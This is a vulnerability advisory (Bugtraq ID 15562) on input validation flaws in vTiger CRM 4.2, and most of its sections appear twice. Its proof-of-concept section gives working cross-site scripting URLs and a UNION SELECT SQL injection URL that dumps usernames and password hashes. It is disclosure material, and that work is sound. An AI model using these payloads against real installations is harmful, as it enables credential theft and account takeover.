VTiger CRM Multiple Input Validation Vulnerabilities
BID:15562
Info
VTiger CRM Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 15562 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 24 2005 12:00AM |
| Updated: | Nov 24 2005 12:00AM |
| Credit: | Christopher Kunz of the Hardened PHP Project is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
vtiger vtiger CRM 4.2 |
| Not Vulnerable: | |
Discussion
VTiger CRM Multiple Input Validation Vulnerabilities
vtiger CRM is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
vTiger CRM is prone to multiple SQL injection, HTML injection, cross-site scripting and local file include vulnerabilities.
An attacker can exploit these issues to gain administrative access, retrieve username and password pairs, steal cookie-based authentication credentials and retrieve arbitrary local files in the context of the Web server process; other attacks are also possible.
Some of these issues may be related to those discussed in BID 11740 (SugarCRM Multiple Input Validation Vulnerabilities) discovered by James Bercegay and Damon Wood of the GulfTech Security Research Team, as vtiger is a fork of the SugarCRM project.
An independent study by Daniel Fabian of SEC-CONSULT has confirmed the existence of several of these issues. Please see the referenced advisory for more information.
vtiger CRM is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
vTiger CRM is prone to multiple SQL injection, HTML injection, cross-site scripting and local file include vulnerabilities.
An attacker can exploit these issues to gain administrative access, retrieve username and password pairs, steal cookie-based authentication credentials and retrieve arbitrary local files in the context of the Web server process; other attacks are also possible.
Some of these issues may be related to those discussed in BID 11740 (SugarCRM Multiple Input Validation Vulnerabilities) discovered by James Bercegay and Damon Wood of the GulfTech Security Research Team, as vtiger is a fork of the SugarCRM project.
An independent study by Daniel Fabian of SEC-CONSULT has confirmed the existence of several of these issues. Please see the referenced advisory for more information.
Exploit / POC
VTiger CRM Multiple Input Validation Vulnerabilities
No exploit is required.
The following URI proof of concept are available:
http://www.example.com/index.php?action=DetailView&module=Leads&record=%3Cscript%3Ealert('document.cookie')%3C/script%3E
http://www.example.com/index.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E/?[params]
http://www.example.com/?ticket_title=&contact_name=&priority=&status=&action=index&query=true&module=HelpDesk&order_by=&sorder=ASC&viewname=0&button=Search&category=&date_crit=is&date=%27+UNION+SELECT+56%2CCONCAT%28user_name%2C+%22%3A%22%2C+user_password%29%2C+%22Open%22%2C%22Normal%22%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1+from+users+where+users.user_name+LIKE+%27
No exploit is required.
The following URI proof of concept are available:
http://www.example.com/index.php?action=DetailView&module=Leads&record=%3Cscript%3Ealert('document.cookie')%3C/script%3E
http://www.example.com/index.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E/?[params]
http://www.example.com/?ticket_title=&contact_name=&priority=&status=&action=index&query=true&module=HelpDesk&order_by=&sorder=ASC&viewname=0&button=Search&category=&date_crit=is&date=%27+UNION+SELECT+56%2CCONCAT%28user_name%2C+%22%3A%22%2C+user_password%29%2C+%22Open%22%2C%22Normal%22%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1+from+users+where+users.user_name+LIKE+%27
Solution / Fix
VTiger CRM Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
VTiger CRM Multiple Input Validation Vulnerabilities
References:
References:
- Advisory 23/2005: vTiger multiple vulnerabilities (Hardened-PHP Project)
- Even More Vulnerabilities in VTiger CRM (SEC-CONSULT)
- vtiger Homepage (vtiger)
- Advisory 23/2005: vTiger multiple vulnerabilities (Christopher Kunz
- SEC Consult SA-20051125-0 :: More Vulnerabilities in vTiger CRM ("SEC Consult Research"